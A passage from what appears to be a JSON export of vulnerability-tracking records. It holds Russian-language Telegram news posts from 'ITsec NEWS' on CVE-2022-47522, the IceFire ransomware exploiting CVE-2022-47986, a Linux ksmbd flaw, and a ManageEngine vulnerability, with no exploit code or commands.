\u0434\u0430\u043b\u0451\u043a\u043e\u043c 1997 \u0433\u043e\u0434\u0443. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-47522 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u043c\u0430\u043d\u043e\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0442\u043e\u0447\u043a\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u0442\u0430\u043a \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0435 \u00ab\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0444\u0440\u0435\u0439\u043c\u044b\u00bb \u0432 \u043d\u0435\u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0432\u0438\u0434\u0435, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430. \u0411\u0443\u0444\u0435\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0444\u0440\u0435\u0439\u043c\u044b \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u044b \u043e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435\u0439 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u0441\u043f\u0443\u0444\u0438\u043d\u0433 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432, \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0444\u0440\u0435\u0439\u043c\u044b \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041a\u043e\u0440\u0435\u043d\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043b\u0435\u0436\u0438\u0442 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 IEEE 802.11 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u044d\u043d\u0435\u0440\u0433\u043e\u0441\u0431\u0435\u0440\u0435\u0436\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 Wi-Fi \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c \u044d\u043a\u043e\u043d\u043e\u043c\u0438\u0442\u044c \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u044d\u043d\u0435\u0440\u0433\u0438\u044e \u0437\u0430 \u0441\u0447\u0451\u0442 \u0431\u0443\u0444\u0435\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0432 \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0444\u0440\u0435\u0439\u043c\u043e\u0432, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f.\n\n\u041a\u043e\u0433\u0434\u0430 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0449\u0435\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0432 \u0441\u0435\u0442\u0438 Wi-Fi \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442 \u0432 \u0440\u0435\u0436\u0438\u043c \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f, \u043e\u043d\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u0430 \u0442\u043e\u0447\u043a\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (\u0440\u043e\u0443\u0442\u0435\u0440) \u0444\u0440\u0435\u0439\u043c \u0441 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u043c, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u043c \u0431\u0438\u0442 \u044d\u043d\u0435\u0440\u0433\u043e\u0441\u0431\u0435\u0440\u0435\u0436\u0435\u043d\u0438\u044f. \u0422\u0430\u043a \u043a\u0430\u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e, \u0432\u0441\u0435 \u0444\u0440\u0435\u0439\u043c\u044b, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u043d\u0435\u0433\u043e, \u0441\u0442\u0430\u0432\u044f\u0442\u0441\u044f \u0432 \u043e\u0447\u0435\u0440\u0435\u0434\u044c. \u041d\u043e \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0432\u044b\u0445\u043e\u0434\u0438\u0442 \u0438\u0437 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u0438\u0442 \u043f\u0440\u043e\u0431\u0443\u0436\u0434\u0435\u043d\u0438\u044f, \u0442\u043e\u0447\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0431\u0443\u0444\u0435\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0444\u0440\u0435\u0439\u043c\u044b \u0438\u0437 \u043e\u0447\u0435\u0440\u0435\u0434\u0438, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u0438\u0445 \u0430\u0434\u0440\u0435\u0441\u0430\u0442\u0443.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0433\u043e \u0440\u043e\u0434\u0430 \u0430\u0442\u0430\u043a\u0430\u043c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043c\u043e\u0434\u0435\u043b\u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Lancom, Aruba, Cisco, Asus \u0438 D-Link.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-03-30T09:22:54.000000Z"}, {"uuid": "fdc93a05-1379-4518-8957-253bce17f769", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "exploited", "source": "https://t.me/itsec_news/2342", "content": "\u200b\ud83d\udde1 \u0412\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0435 \u041f\u041e IceFire \u0430\u0442\u0430\u043a\u0443\u0435\u0442 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u0435\u0442\u0438 \u043d\u0430 \u0431\u0430\u0437\u0435 Linux.\n\n\ud83d\udcac \u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c IceFire, \u0440\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 Windows-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0440\u0430\u0441\u0448\u0438\u0440\u0438\u043b\u0430 \u0441\u0432\u043e\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u0435\u0442\u0438 Linux. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 SentinelOne, \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0449\u0435\u0439\u0441\u044f \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e, \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u044f \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u043e\u0431\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u0430\u043c\u0438 IBM Aspera Faspex ( CVE-2022-47986 , \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8).\n\n\u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0430\u0442\u0430\u043a, \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0445 SentinelOne, \u0431\u044b\u043b\u0438 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043f\u0440\u043e\u0442\u0438\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u0432 \u0422\u0443\u0440\u0446\u0438\u0438, \u0418\u0440\u0430\u043d\u0435, \u041f\u0430\u043a\u0438\u0441\u0442\u0430\u043d\u0435 \u0438 \u041e\u0410\u042d \u2014 \u0441\u0442\u0440\u0430\u043d\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043c\u0438\u0448\u0435\u043d\u044c\u044e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0433\u0440\u0443\u043f\u043f \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439.\n\nIceFire \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0431\u044b\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u0432 \u043c\u0430\u0440\u0442\u0435 2022 \u0433\u043e\u0434\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 MalwareHunterTeam. \u041e\u0434\u043d\u0430\u043a\u043e \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c GuidePoint Security, Malwarebytes \u0438 NCC Group, \u043e \u0436\u0435\u0440\u0442\u0432\u0430\u0445 \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 2022 \u0433\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 \u0441\u0430\u0439\u0442 \u0443\u0442\u0435\u0447\u043a\u0438 \u0432 \u0434\u0430\u0440\u043a\u043d\u0435\u0442\u0435.\n\n\u0421\u0430\u043c\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043d\u0430 Linux, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0437 \u0441\u0435\u0431\u044f 64-\u0440\u0430\u0437\u0440\u044f\u0434\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0444\u043e\u0440\u043c\u0430\u0442\u0430 \u00ab.elf\u00bb, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0445\u043e\u0441\u0442\u043e\u0432 CentOS, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 IBM Aspera Faspex. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u0448\u0438\u0444\u0440\u0443\u0435\u0442 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 \u0432\u044b\u0431\u043e\u0440\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b.\n\n\u00ab\u041c\u043d\u043e\u0433\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Linux \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438: \u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u044b \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u0444\u0438\u0448\u0438\u043d\u0433 \u0438\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441 \u0434\u0438\u0441\u043a\u0430, \u043c\u0435\u043d\u0435\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b \u043f\u0440\u043e\u0442\u0438\u0432 \u043d\u0438\u0445. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u0441\u0451 \u0447\u0430\u0449\u0435 \u043f\u0440\u0438\u0431\u0435\u0433\u0430\u044e\u0442 \u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439\u00bb, \u2014 \u0437\u0430\u044f\u0432\u0438\u043b \u0410\u043b\u0435\u043a\u0441 \u0414\u0435\u043b\u0430\u043c\u043e\u0442, \u0441\u0442\u0430\u0440\u0448\u0438\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0443\u0433\u0440\u043e\u0437 \u0432 SentinelOne.\n\n#IceFire #Linux\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-04-30T12:48:35.000000Z"}, {"uuid": "baa7759d-3cbd-4ab4-af63-aaf05d90eed9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47939", "type": "seen", "source": "https://t.me/itsec_news/1981", "content": "\u200b\u26a1\ufe0f \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 kmsbd \u044f\u0434\u0440\u0430 Linux \u0440\u0430\u0437\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u0443\u043a\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c.\n\n\ud83d\udcac \u0412 \u043c\u043e\u0434\u0443\u043b\u0435 ksmbd \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0447\u0440\u0435\u0437\u0432\u044b\u0447\u0430\u0439\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u044f\u0434\u0440\u0430 Linux. \u041e\u043d\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2022-47939 \u0438 10 \u0438\u0437 10 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0431\u0430\u043b\u043b\u043e\u0432 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS. Ksmbd \u2013 \u043c\u043e\u0434\u0443\u043b\u044c \u044f\u0434\u0440\u0430 Linux, \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044e\u0449\u0438\u0439 \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0430 \u0431\u0430\u0437\u0435 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 SMB3 \u0434\u043b\u044f \u043e\u0431\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u0430\u043c\u0438 \u043f\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0443 Samba.\n\n\u041a\u0430\u043a \u0433\u043e\u0432\u043e\u0440\u044f\u0442 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 Zero Day Initiative (ZDI), \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2022-47939 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u044f\u0434\u0440\u0430. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0439 \u0434\u044b\u0440\u044b \u0432 \u0437\u0430\u0449\u0438\u0442\u0435 \u043d\u0435 \u043d\u0443\u0436\u043d\u0430 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f, \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0447\u0442\u043e\u0431\u044b \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0431\u044b\u043b \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d \u043c\u043e\u0434\u0443\u043b\u044c ksmbd.\n\n\u0412\u044b\u0437\u0432\u0430\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u0443\u0436\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438\u0437-\u0437\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043d\u0430\u0434 \u043d\u0438\u043c. \u0410 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u043d\u0430 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434\u044b SMB2TREEDISCONNECT.\n\n\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0435\u0449\u0435 26 \u0438\u044e\u043b\u044f 2022 \u0433\u043e\u0434\u0430, \u0430 \u0437\u0430\u0442\u0435\u043c \u0431\u044b\u0441\u0442\u0440\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u043e\u0432\u0441\u043a\u0438\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u0445 5.15.61 , 5.18.18 \u0438 5.19.2 , \u043d\u043e \u0448\u0438\u0440\u043e\u043a\u0430\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430 \u0443\u0437\u043d\u0430\u043b\u0430 \u043f\u0440\u043e \u043d\u0435\u0435 \u0442\u043e\u043b\u044c\u043a\u043e 22 \u0434\u0435\u043a\u0430\u0431\u0440\u044f.\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c ksmbd, \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044f\u0434\u0440\u043e Linux \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 5.15.61 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u043e\u0439.\n\n#Linux #\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2022-12-26T14:17:41.000000Z"}, {"uuid": "13a962e7-61d5-49f9-b399-97c523a971ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/itsec_news/2081", "content": "\u200b\u26a1\ufe0f\u0411\u0435\u043b\u044b\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0432\u044b\u043d\u0443\u0434\u044f\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 ManageEngine \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\n\ud83d\udcac \u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Horizon3 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Zoho ManageEngine. \u0412 \u043a\u043e\u043d\u0446\u0435 \u043d\u0435\u0434\u0435\u043b\u0438 \u043e\u043d\u0438 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u044e\u0442 \u0432\u044b\u043b\u043e\u0436\u0438\u0442\u044c \u0435\u0433\u043e \u0432 \u0441\u0435\u0442\u044c, \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f. \u0422\u0430\u043a, \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u0431\u0435\u043b\u044b\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0445\u043e\u0442\u044f\u0442 \u043f\u0440\u0438\u0432\u043b\u0435\u0447\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u0447\u0442\u043e\u0431\u044b \u0442\u0435 \u00ab\u0437\u0430\u043b\u0430\u0442\u0430\u043b\u0438\u00bb \u0434\u044b\u0440\u0443 \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430 \u043f\u043e\u0434 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c CVE-2022-47966. \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c 